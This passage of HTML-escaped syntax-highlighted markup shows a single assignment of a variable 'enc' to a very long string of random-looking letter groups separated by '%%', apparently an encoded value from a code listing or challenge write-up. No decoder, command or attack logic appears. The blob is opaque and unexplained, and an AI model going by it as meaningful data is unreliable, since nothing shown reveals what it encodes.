&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;%CJnGNBkyYp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UBndSzFkbH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ujJtlzSIGW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nwIWiBzpbz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cHFmSnCqnE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kTEDvsZUvn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JBRccySrUq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZqjBENExAX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XBucLtReBQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BFTOQBPCju&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vlwWETKcZH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NCtxqhhPqI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GOPdPuwuLd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YcnfCLfyyS&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JPfTcZlwxJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ualBOGvshk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xprVJLooVF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cIqyYRJWbQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jaXcJXQMrV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pMrovuxjjq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXASGLJNCX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XzrrbwrpmM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VCWZpprcdE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tzMKflzfvX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ndjtYQuanY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">chXxviaBCr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tHJYExMHlP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WmUoySsDby&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UrPeBlCopW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lYCdEGtlPA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eNOycQnIZD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PxzdwcSExs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VxroDYJQKR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zhNAugCrcK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XUpMhOyyHB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OOOxFGwzUd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dzPrbmmccE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xQseEVnPet&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eDhTebXJLa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vShQyqnqqU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KsuJogdoiJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uVLEiIUjzw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SJsEzuInUY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gNELMMjyFY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XIAbFAgCIP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">weRTbbZPjT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yQujDHraSv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zwDBykiqZZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nfEeCcWKKK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MtoMzhoqyY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">igJmqZApvQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SIQjFslpHA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KHqiJghRbq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WSRbQhwrOC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BGoTReCegg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WYJXnBQBDj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SIneUaQPty&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WTAeYdswqF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EdLUuXiTNo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rVOFKTskYR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nMLIkcyFZj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jtkYEPXtKX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RWcegafVtf&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KhyyrSrcKr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zDUDeXKPaV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VZAbZqJHBk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XClTzcVMGM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xVIsxobyZi&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qpUykKHwzb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iKAAuWsbec&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cYinxarhDL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">olHsTHINJO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uynFENuiYB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WauWfrgGak&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tzSNMWchGN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oFspIELDJK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FijcPoQLnC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AbMyvUGzSH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LmCknrHfoB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GDXqElqPYy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gqUdnmSTUN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YlKbYsFYPy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GLwLVWewUj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EQAuBusyXb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yOkBDuSVrl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FraARuTjiq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hwZKiiLqAE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ahbOZSBViB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">djeIEnPaCg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AiqHTcPzsv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JCuNlxqlBZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TYbHmXrqgV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">sLNudRRtUX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dbDMRBPrxg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XEyDmChJvW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KytxcYPZKt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GWrDWSvoPL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">haSZYOmkiA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JhYYmEHfJT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LPGeAanVGt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hTTJOKGuzo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MFRjJyYsrs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kpEWZrtOzX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BrDOtQoojB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YnGvhgYxvb&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">cUDojRpXKx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rSVBNvbdPT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kJjQuXIjOT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tVtxVGNpFB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BqEMjgsfHM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fVHBRsLNUl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jgiQdwyxFg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HLynrUfwGo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FCBcNynRGD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VavtsuhNIN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HUAAetwukX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nogFGGEgdF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iHRclHpeVX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MrNTGKcbYu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bTHJpHTPMM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QbKdEZdxpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">drymkVAnZW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DDiJEpaiME&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OAsjgKHKoH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">HFLAqJuuyu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gFQQimTbzp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YULKJDZpgz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oQYrpYRHsU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VGKsxiJBaT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RGlZIMTaRM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JenYfqHzBk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vmIEtsktnA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TypmIIEYJC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eQPFkQsLmh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AkaPyEXHFq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BANrSlObpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LIQYgFxctD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZygfZJxAOd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXttaDcyMZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">brwOvSubJT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hVncqdtHrj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OonlMOpxYC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CZpuCIcrKh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">owRVWPJqcX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jugDlMdkcG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DXdgqiFTAH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">acXjUrxrpX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eYuashSMjP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ESpdErsKEO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kQQvXhxXIT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pLUeCEDcNj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pTKKchMUFD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZMNBNnhYdl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KVdpASYkBZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OpWuyrggtP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uDsfTCYsro&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wEZCzuPukj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jCsFOJQsdv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hbFnQgCXwX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UFSmCjquVd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BMVjGSkNrk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MFpVhvZMMs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SRYmoDJgcF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">svwZUufvHX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WPGlloqWfh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kEHDlJOIVc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jdKMRqipbM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pEeOvclMbZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nMbUuONTOk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GwAFOSfUtV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gbVsRGzTij&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ybHVOwcPrc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CpAQgSdzaC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XqtgTmRIdO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pUKFMEPFQs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QpDqsQAemY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CZTFliIBbC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EuMCNHEVeC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dyJHMHMcNc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LNwemqbftD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VnDoNvCbDL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mFZJVdqlTD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vGOYQQYIpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GzBAHPVuTq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fLycQgNMii&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZPlPiozEyW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xULgeMdzcg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iVrCyJhMiJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dlzhxQnMss&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pqWXTkasXe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">doKcadyJqy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hNwOTmvEJo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yqhJQSZuJo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JPOdGPAwht&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rEvTlCThdH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PwJJFMgamh&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eeacPrYshd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LYxpWUVnyn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YRqcyngfyU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IAkZpnEseT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DAaZVQYtML&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QTBYjmNXEB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lSUnvlNyZI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pCjFJxRqgH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oMsMdPYmPd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AGOCIKFMEK&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dAuevoJWoL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uwRWnyAikF&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mBIWiJNHWZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RfMwENsorP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gbXeIdPSoj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">kxCYxBSxVM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AbZpTpKurz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">glRvzlEEoe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TVsNOuCNZd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VUsEoebHks&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tuAPcYGhzl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WojQSFImBz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NXvoEmTmgu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jWtWLzuDKP&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NvnNgHLBLJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vPgKEvZmlQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ftaecaUnft&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">lfCLMrJHhW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ArAxZuPIrp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zhsTKtujLg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MxwsyqmvYm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MsfoqNTDfI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">klVPUdMJas&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XzWakcViZI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">htJeDhbeDW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ARecVABHyu&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EDuGpmwedn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SKEwAQBRlN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bIgeRgvTeJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AnKEeEZdOq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KXapePmHCe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YKwLsVwqOj&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QCZuMFaZsV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RycUceHQZc&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TOqZKQRZli&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hIpFAiXGDz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">PmpGnAHBIo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">nGqMpclaJV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">NbOjNijxuU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hbnAmGyJMk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">jpqWVBsCpx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WXWHLOygSe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rjhOhltPzI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DCnzMxKRnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QGiWXkfFPy&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">isQISZiBPJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iCcGUuJxVn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">dGSGnKbkQW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">gNabAkLFGN&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">pibEdoDBbD&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AHKCuBAkui&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YYKSCuCbgJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">IeRiYUFnCZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hzjnwzdyGY&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KAlyOryibJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MBvrUwPCDz&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WmHvayPxwd&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">reviZiSttH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">wwmTmFdRsZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">JBUgbyTPxp&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BaMYsIgnsM&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DwiWdAaOiv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">vXewtPjogB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">odWdfvJnBE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">yPzFwnsYdA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xfHbUEWpFC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ySgQyAAfQH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QMmDXFyyag&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xllGdjvUjB&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zuIYfGJIhV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MmhvJKSdep&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fxpyemHAMo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">eFWpiweoyr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WQqetkePWs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qsPTvcejTS&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YiVTQhqRnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GEFNspgkfU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">iREuYMPcTg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rVuFsOUxnm&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UmCJMMMcBg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">VUeZKgDBUe&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">roXhULjavE&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uIWSZVpUHl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ZNBNkxQuUl&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ktDjVGpvOa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">CMHWMmXlZO&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">RITIeDNkWx&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UPfjubfNXt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GTgGJngEbX&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">zFvgtBzUer&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TfyrgNGxBL&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hknFiXCnZQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">xijYXotZPT&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">BlIFABuPAW&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GJcpQprPXv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">YmUoUKWAtR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tHHIjVCHeH&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">DNNdkNfTiI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">XEcuUpquLQ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EUwICZcugV&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MJKqSlzRdg&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">FcrKUOEnOU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">EiWocIreAk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LLNnWnTLBJ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">QzqEkBCLON&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">uOGlqENvnk&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TuqTvTpeOG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">USLedfRsdA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">fFqNPWfBWr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">AyyrPvjwjr&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">mxXhSCdBil&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">MusMeoeDey&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">OOiwgwuupI&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">WvjMoIIiUn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">TEtLFfgLmA&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">rFsKCxpAbv&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">hImzprlFyw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">GVIREkvxRa&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">qIhOqqdyjR&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">shhyfkrTvn&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">UAnQUvXBfs&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">bSIafzAxiZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">oNvGdyNkLt&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">SCbDgQuqTU&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">tBsRPAyhtG&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">KUKwZheGNw&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">INPLAzQfUo&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">ekEoGMuERC&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">aGQeJYSFDZ&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span class="s1">LODxmGMGqq&lt;/span>&lt;span class="si">%%&lt;/span>&lt;span 